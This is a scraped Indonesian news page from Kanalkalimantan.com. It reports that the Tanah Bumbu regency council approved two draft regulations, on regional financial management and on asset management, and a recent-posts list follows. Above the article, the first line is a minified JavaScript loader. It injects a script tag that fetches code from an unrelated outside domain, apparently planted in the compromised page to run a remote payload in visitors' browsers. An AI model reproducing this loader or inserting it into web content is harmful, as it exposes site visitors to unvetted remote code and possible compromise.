(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

DPRD Tanbu Setujui Dua Raperda Baru


KANALKALIMANTAN.COM, BATULUCIN – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Tanah Bumbu (Tanbu) menggelar rapat paripurna, Senin (20/6/2022).

Rapat paripurna kali ini dengan agenda pengambilan keputusan terhadap dua buah Rancangan Peraturan Daerah (Raperda).

Bupati Tanbu, HM Zairullah Azhar melalui Sekretaris Daerah, H Ambo Sakka menyampaikan ucapan terimakasih yang setinggi-tingginya kepada pimpinan dewan, unsur-unsur pimpinan, dan fraksi-fraksi, terhadap seluruh tahapan pembahasan dua Raperda.

“Sehingga pada hari ini, dua buah Raperda yang telah disampaikan sebelumnya, telah mendapat persetujuan untuk diproses lebih lanjut,” ujarnya.

 

 

Baca juga: Satu Calon Haji Kalsel Asal HSU Wafat di Madinah

Raperda yang disetujui untuk dibahas pertama yaitu Raperda tentang Pengelolaan Keuangan Daerah. Dengan adanya Raperda pengelolaan keuangan daerah semakin menjadi lebih baik, baik dari proses perencanaan, pelaksanaan dan pertanggungjawaban keuangan daerah. Sehingga keuangan daerah, mampu memberikan manfaat yang besar, dalam upaya mewujudkan kesejahteraan masyarakat dan kemajuan Kabupaten Tanah Bumbu.

Kedua adalah Raperda tentang Pengelolaan Barang Milik Daerah. Raperda ini menjadi pedoman pengelolaan barang milik daerah, yang mengatur mengenai kebutuhan dan penganggaran, pengadaan, penggunaan, pemanfaatan, pengamanan dan pemeliharaan, penilaian, pemindahtanganan, pemusnahan, penghapusan, penatausahaan, pembinaan, pengawasan dan pengendalian.

Sehingga diharapkan terwujudnya pengelolaan barang milik daerah yang baik, dalam rangka menunjang dan mendukung kelancaran pelaksanaan penyelenggaraan Pemerintahan dan Pembangunan Daerah.

“Masukan dan koreksi terkait dengan dua buah Raperda tersebut, pemerintah daerah pada dasarnya sangat mengapresiasi, karena hal itu menjadi penyempurnaan Raperda, baik secara normatif, maupun secara substansi, sehingga memenuhi standar Undang-Undang Nomor 12 Tahun 2011, tentang Pembentukan Peraturan Perundang-undangan,” katanya.

Selanjutnya dengan disetujuinya dua buah Raperda itu, tahapan berikutnya yang segera dilaksanakan pemerintah daerah adalah meminta nomor register ke Biro Hukum Provinsi Kalimantan Selatan. Setelah ditetapkan dan diundangkannya peraturan daerah tersebut, maka pemerintah daerah melalui SKPD terkait bersama-sama DPRD melakukan sosialisasi dan melaksanakan Perda.(Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

33 menit ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

53 menit ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

4 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

4 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

6 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

9 jam ago

This website uses cookies.